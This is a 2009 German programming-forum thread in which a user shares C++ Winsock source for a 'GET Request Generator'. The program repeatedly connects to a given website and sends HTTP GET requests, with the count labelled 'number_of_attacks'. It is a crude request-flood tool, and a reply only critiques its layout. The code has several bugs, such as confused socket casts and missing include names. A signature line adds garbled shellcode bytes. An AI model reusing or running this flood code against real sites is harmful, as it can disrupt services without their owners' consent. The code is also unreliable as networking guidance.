PHP Forum - Coding Board
April 20, 2018, 01:27:42 *
Willkommen Gast. Bitte einloggen oder registrieren.

Einloggen mit Benutzername, Passwort und Sitzungslänge
News:
 
   Übersicht   Hilfe Suche Einloggen Registrieren  
Seiten: [1]
  Drucken  
Autor Thema: GET Request Generator (HTTP)  (Gelesen 127 mal)
0 Mitglieder und 1 Gast betrachten dieses Thema.
fred777
Sr. Member
****
Beiträge: 265


390271540
Profil anzeigen WWW E-Mail
« am: April 02, 2009, 03:19:16 »

Ich finde ihn ganz nützlich, deshalb mal hier der Code, im Laufe der Zeit werde ich vielleicht noch andere Optionen einbinden...

Code:

BOOL InitConnection(SOCKET *wSock, char *SERV);
BOOL InitWSA();
BOOL InitSocket(SOCKET *wSock);
DWORD WINAPI RecvData(LPVOID* wSock);

int main(int argc, char** argv)
{
    if(argc != 3)
    {
        std::cout << &quot;Usage: www.site.com [number_of_attacks]\n&quot;;
        std::cout << &quot;Example: main.exe www.cowgirls.com 100\n&quot;;
        exit(1);
    }
   
    SOCKET tehRock;
    int number = atoi(argv[2]);
    char *site = argv[1];
    char buffert[65000];
   
    //CreateThread(NULL, 0, LPTHREAD_START_ROUTINE(RecvData), (LPVOID)tehRock, 0, NULL);
   
    for(int i = 0; i < number; i++)
    {
        if(InitWSA() == true)
        std::cout << &quot;WS2_32.DLL loaded\n&quot;;
        Sleep(20);
        if(InitSocket(&tehRock) == true)
        std::cout << &quot;Socket created.\n&quot;;
        Sleep(20);
        if(InitConnection((SOCKET*)tehRock, site) == true)
        std::cout << &quot;Connected.\n&quot;;
        Sleep(20);
        send(tehRock, &quot;GET / HTTP/1.0\r\n\r\n&quot;, 19, 0);
        std::cout << &quot;Sending HTTP GET REQUEST\n&quot;;
        while(recv(tehRock, buffert, sizeof(buffert), 0) > 0)
        std::cout << buffert;
    }
}
   
DWORD WINAPI RecvData(LPVOID* wSock)
{
    SOCKET socket = (SOCKET)wSock;
    char data[65356];
    ZeroMemory(&data, sizeof(data));
    std::cout << &quot;Thread successfully created.\n&quot;;
    while(1)
    {
        if(recv(socket, data, sizeof(data), 0) > 0)
        std::cout << data;
        Sleep(1);
    }
}

BOOL InitConnection(SOCKET *wSock, char *SERV)
{
    int port = 80;
    struct hostent *host;
    struct sockaddr_in sin;
    int error;
   
    host = gethostbyname(SERV);
    memset( &sin, 0, sizeof sin );
    sin.sin_family = AF_INET;
    sin.sin_addr = *((in_addr *)host->h_addr);
    sin.sin_port = htons(port);
    error = connect((SOCKET)wSock, (sockaddr*)&sin, sizeof sin);
   
    if(error != 0)
    return false;
   
    return true;
}
   
   
BOOL InitSocket(SOCKET *wSock)
{
    *wSock = socket(AF_INET, SOCK_STREAM, 0);
   
    if((SOCKET)wSock == INVALID_SOCKET)
    return false;
   
    return true;
}

BOOL InitWSA()
{
    WSADATA wsaData;
    WORD version;
    version = MAKEWORD(2, 2);
   
    int error;
    error = WSAStartup(version, &wsaData);
   
    if(error != 0)
    return false;
   
    if(LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
    {
        WSACleanup();
        return false;
    }
   
    return true;
}

Edit: achja, die Header:

#include
#include
#include
Gespeichert

"\x68\x6e\x2r\x73\x68" // push dword 68732f6eh
"\x68\x2f\x2f\x62\x69" // push dword 69622f7fh
-Curry-
Gast
« Antworten #1 am: April 03, 2009, 09:21:54 »

Hi, ganz nettes Tool, jedoch gibt es ein paar Codestellen, die irgendwie unsinnig platziert sind meiner Meinung nach.

Code:
       if(InitWSA() == true)
        std::cout << &quot;WS2_32.DLL loaded\n&quot;;
        Sleep(20);
        if(InitSocket(&tehRock) == true)
        std::cout << &quot;Socket created.\n&quot;;
        Sleep(20);
        if(InitConnection((SOCKET*)tehRock, site) == true)
        std::cout << &quot;Connected.\n&quot;;
        Sleep(20);
Gespeichert
Seiten: [1]
  Drucken  
 
Gehe zu:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.21 | SMF © 2006-2009, Simple Machines | New Look by Nolt Prüfe XHTML 1.0 Prüfe CSS